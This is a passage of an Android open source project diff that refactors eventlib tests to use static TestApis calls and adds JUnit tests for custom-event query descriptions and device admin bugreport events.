         EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
-                .onUser(sProfile);
+                .onUser(sDeviceState.workProfile());
 
         assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG2);
     }
@@ -634,7 +628,7 @@
     }
 
     private void logCustomEventOnTestApp(String tag, String data) {
-        logCustomEventOnTestApp(sTestApis.users().instrumented(), tag, data);
+        logCustomEventOnTestApp(TestApis.users().instrumented(), tag, data);
     }
 
     private void logCustomEventOnTestApp() {
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
index 7e7c434..50c5bea 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
@@ -34,13 +34,15 @@
     // TODO: We need a standard pattern for testing that events log correctly cross-process
     // (when within the process serialization never happens)
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
     private static final String TAG_1 = "TAG_1";
     private static final String TAG_2 = "TAG_2";
     private static final String DATA_1 = "DATA_1";
     private static final String DATA_2 = "DATA_2";
 
+    // Not used for Events
+    private static final String FIELD_NAME = "";
+
     @Before
     public void setUp() {
         EventLogs.resetLogs();
@@ -99,4 +101,40 @@
 
         assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
     }
+
+    @Test
+    public void describeQuery_onlyIncludingPackage_isCorrect() {
+        CustomEvent.CustomEventQuery customEvent = CustomEvent.queryPackage("PACKAGE");
+
+        assertThat(customEvent.describeQuery(FIELD_NAME))
+                .isEqualTo("{type=CustomEvent, packageName=PACKAGE}");
+    }
+
+    @Test
+    public void describeQuery_includesTag_isCorrect() {
+        CustomEvent.CustomEventQuery customEvent = CustomEvent.queryPackage("PACKAGE")
+                .whereTag().isEqualTo("TAG");
+
+        assertThat(customEvent.describeQuery(FIELD_NAME))
+                .isEqualTo("{type=CustomEvent, packageName=PACKAGE, tag=TAG}");
+    }
+
+    @Test
+    public void describeQuery_includesData_isCorrect() {
+        CustomEvent.CustomEventQuery customEvent = CustomEvent.queryPackage("PACKAGE")
+                .whereData().isEqualTo("DATA");
+
+        assertThat(customEvent.describeQuery(FIELD_NAME))
+                .isEqualTo("{type=CustomEvent, packageName=PACKAGE, data=DATA}");
+    }
+
+    @Test
+    public void describeQuery_includesAllOptions_isCorrect() {
+        CustomEvent.CustomEventQuery customEvent = CustomEvent.queryPackage("PACKAGE")
+                .whereTag().isEqualTo("TAG")
+                .whereData().isEqualTo("DATA");
+
+        assertThat(customEvent.describeQuery(FIELD_NAME))
+                .isEqualTo("{type=CustomEvent, packageName=PACKAGE, tag=TAG, data=DATA}");
+    }
 }
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java
index e0a11a0..712b927 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java
@@ -35,8 +35,7 @@
 @RunWith(JUnit4.class)
 public final class ActivityCreatedEventTest {
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
     private static final String STRING_KEY = "Key";
     private static final String STRING_VALUE = "Value";
     private static final String DIFFERENT_STRING_VALUE = "Value2";
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityDestroyedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityDestroyedEventTest.java
index 568129f..853451c 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityDestroyedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityDestroyedEventTest.java
@@ -33,8 +33,7 @@
 @RunWith(JUnit4.class)
 public final class ActivityDestroyedEventTest {
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
 
     private static final String ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
     private static final ActivityInfo ACTIVITY_INFO = new ActivityInfo();
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityPausedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityPausedEventTest.java
index 541466e..84208d9 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityPausedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityPausedEventTest.java
@@ -33,8 +33,7 @@
 @RunWith(JUnit4.class)
 public final class ActivityPausedEventTest {
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
 
     private static final String ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
     private static final ActivityInfo ACTIVITY_INFO = new ActivityInfo();
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityRestartedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityRestartedEventTest.java
index 8c379c7..6961ead 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityRestartedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityRestartedEventTest.java
@@ -33,8 +33,7 @@
 @RunWith(JUnit4.class)
 public final class ActivityRestartedEventTest {
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
 
     private static final String ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
     private static final ActivityInfo ACTIVITY_INFO = new ActivityInfo();
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityResumedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityResumedEventTest.java
index 51c5d55..a718405 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityResumedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityResumedEventTest.java
@@ -33,8 +33,7 @@
 @RunWith(JUnit4.class)
 public final class ActivityResumedEventTest {
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
 
     private static final String ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
     private static final ActivityInfo ACTIVITY_INFO = new ActivityInfo();
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStartedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStartedEventTest.java
index 5c3d070..715fe17 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStartedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStartedEventTest.java
@@ -33,8 +33,7 @@
 @RunWith(JUnit4.class)
 public final class ActivityStartedEventTest {
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
 
     private static final String ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
     private static final ActivityInfo ACTIVITY_INFO = new ActivityInfo();
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStoppedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStoppedEventTest.java
index 80475ab..c326b7c 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStoppedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStoppedEventTest.java
@@ -33,8 +33,7 @@
 @RunWith(JUnit4.class)
 public final class ActivityStoppedEventTest {
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
 
     private static final String ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
     private static final ActivityInfo ACTIVITY_INFO = new ActivityInfo();
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEventTest.java
index c09d390..e663be7 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEventTest.java
@@ -33,8 +33,7 @@
 @RunWith(JUnit4.class)
 public final class BroadcastReceivedEventTest {
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
     private static final String STRING_VALUE = "Value";
     private static final String DIFFERENT_STRING_VALUE = "Value2";
     private static final Intent INTENT = new Intent();
@@ -58,8 +57,7 @@
 
     @Test
     public void whereIntent_works() {
-        Intent intent = new Intent();
-        intent.setAction(STRING_VALUE);
+        Intent intent = new Intent(STRING_VALUE);
         BroadcastReceivedEvent.logger(BROADCAST_RECEIVER, sContext, intent).log();
 
         EventLogs<BroadcastReceivedEvent> eventLogs =
@@ -71,8 +69,7 @@
 
     @Test
     public void whereIntent_skipsNonMatching() {
-        Intent intent = new Intent();
-        intent.setAction(STRING_VALUE);
+        Intent intent = new Intent(STRING_VALUE);
         Intent differentIntent = new Intent();
         differentIntent.setAction(DIFFERENT_STRING_VALUE);
         BroadcastReceivedEvent.logger(BROADCAST_RECEIVER, sContext, differentIntent).log();
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportFailedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportFailedEventTest.java
new file mode 100644
index 0000000..45e867d
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportFailedEventTest.java
@@ -0,0 +1,184 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminBugreportFailedEventTest {
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent sIntent = new Intent();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+    private static final int FAILURE_CODE = 1;
+    private static final int DIFFERENT_FAILURE_CODE = 2;
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent(STRING_VALUE);
+        DeviceAdminBugreportFailedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, intent, FAILURE_CODE).log();
+
+        EventLogs<DeviceAdminBugreportFailedEvent> eventLogs =
+                DeviceAdminBugreportFailedEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        DeviceAdminBugreportFailedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, differentIntent, FAILURE_CODE).log();
+        DeviceAdminBugreportFailedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, intent, FAILURE_CODE).log();
+
+        EventLogs<DeviceAdminBugreportFailedEvent> eventLogs =
+                DeviceAdminBugreportFailedEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminBugreportFailedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sIntent, FAILURE_CODE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminBugreportFailedEvent> eventLogs =
+                DeviceAdminBugreportFailedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminBugreportFailedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sIntent, FAILURE_CODE)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminBugreportFailedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sIntent, FAILURE_CODE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminBugreportFailedEvent> eventLogs =
+                DeviceAdminBugreportFailedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminBugreportFailedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sIntent, FAILURE_CODE).log();
+
+        EventLogs<DeviceAdminBugreportFailedEvent> eventLogs =
+                DeviceAdminBugreportFailedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminBugreportFailedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sIntent, FAILURE_CODE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminBugreportFailedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sIntent, FAILURE_CODE)
+                .log();
+
+        EventLogs<DeviceAdminBugreportFailedEvent> eventLogs =
+                DeviceAdminBugreportFailedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereFailureCode_works() {
+        DeviceAdminBugreportFailedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sIntent, FAILURE_CODE).log();
+
+        EventLogs<DeviceAdminBugreportFailedEvent> eventLogs =
+                DeviceAdminBugreportFailedEvent.queryPackage(sContext.getPackageName())
+                        .whereFailureCode().isEqualTo(FAILURE_CODE);
+
+        assertThat(eventLogs.poll().failureCode()).isEqualTo(FAILURE_CODE);
+    }
+
+    @Test
+    public void whereFailureCode_skipsNonMatching() {
+        DeviceAdminBugreportFailedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sIntent, DIFFERENT_FAILURE_CODE).log();
+        DeviceAdminBugreportFailedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sIntent, FAILURE_CODE).log();
+
+        EventLogs<DeviceAdminBugreportFailedEvent> eventLogs =
+                DeviceAdminBugreportFailedEvent.queryPackage(sContext.getPackageName())
+                        .whereFailureCode().isEqualTo(FAILURE_CODE);
+
+        assertThat(eventLogs.poll().failureCode()).isEqualTo(FAILURE_CODE);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharedEventTest.java
new file mode 100644
index 0000000..fa362b4
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharedEventTest.java
@@ -0,0 +1,184 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminBugreportSharedEventTest {
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent sIntent = new Intent();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+    private static final String BUGREPORT_HASH = "A";
+    private static final String DIFFERENT_BUGREPORT_HASH = "A2";
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent(STRING_VALUE);
+        DeviceAdminBugreportSharedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, intent, BUGREPORT_HASH).log();
+
+        EventLogs<DeviceAdminBugreportSharedEvent> eventLogs =
+                DeviceAdminBugreportSharedEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        DeviceAdminBugreportSharedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, differentIntent, BUGREPORT_HASH).log();
+        DeviceAdminBugreportSharedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, intent, BUGREPORT_HASH).log();
+
+        EventLogs<DeviceAdminBugreportSharedEvent> eventLogs =
+                DeviceAdminBugreportSharedEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminBugreportSharedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sIntent, BUGREPORT_HASH)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminBugreportSharedEvent> eventLogs =
+                DeviceAdminBugreportSharedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminBugreportSharedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sIntent, BUGREPORT_HASH)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminBugreportSharedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sIntent, BUGREPORT_HASH)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminBugreportSharedEvent> eventLogs =
+                DeviceAdminBugreportSharedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminBugreportSharedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sIntent, BUGREPORT_HASH).log();
+
+        EventLogs<DeviceAdminBugreportSharedEvent> eventLogs =
+                DeviceAdminBugreportSharedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminBugreportSharedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sIntent, BUGREPORT_HASH)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminBugreportSharedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sIntent, BUGREPORT_HASH)
+                .log();
+
+        EventLogs<DeviceAdminBugreportSharedEvent> eventLogs =
+                DeviceAdminBugreportSharedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereBugreportHash_works() {
+        DeviceAdminBugreportSharedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sIntent, BUGREPORT_HASH).log();
+
+        EventLogs<DeviceAdminBugreportSharedEvent> eventLogs =
+                DeviceAdminBugreportSharedEvent.queryPackage(sContext.getPackageName())
+                        .whereBugreportHash().isEqualTo(BUGREPORT_HASH);
+
+        assertThat(eventLogs.poll().bugreportHash()).isEqualTo(BUGREPORT_HASH);
+    }
+
+    @Test
+    public void whereBugreportHash_skipsNonMatching() {
+        DeviceAdminBugreportSharedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sIntent, DIFFERENT_BUGREPORT_HASH).log();
+        DeviceAdminBugreportSharedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sIntent, BUGREPORT_HASH).log();
+
+        EventLogs<DeviceAdminBugreportSharedEvent> eventLogs =
+                DeviceAdminBugreportSharedEvent.queryPackage(sContext.getPackageName())
+                        .whereBugreportHash().isEqualTo(BUGREPORT_HASH);
+
+        assertThat(eventLogs.poll().bugreportHash()).isEqualTo(BUGREPORT_HASH);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharingDeclinedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharingDeclinedEventTest.java
new file mode 100644
index 0000000..da162e8
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharingDeclinedEventTest.java
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminBugreportSharingDeclinedEventTest {
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent INTENT = new Intent();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent(STRING_VALUE);
+        DeviceAdminBugreportSharingDeclinedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
+
+        EventLogs<DeviceAdminBugreportSharingDeclinedEvent> eventLogs =
+                DeviceAdminBugreportSharingDeclinedEvent.queryPackage(sContext.getPackageName())
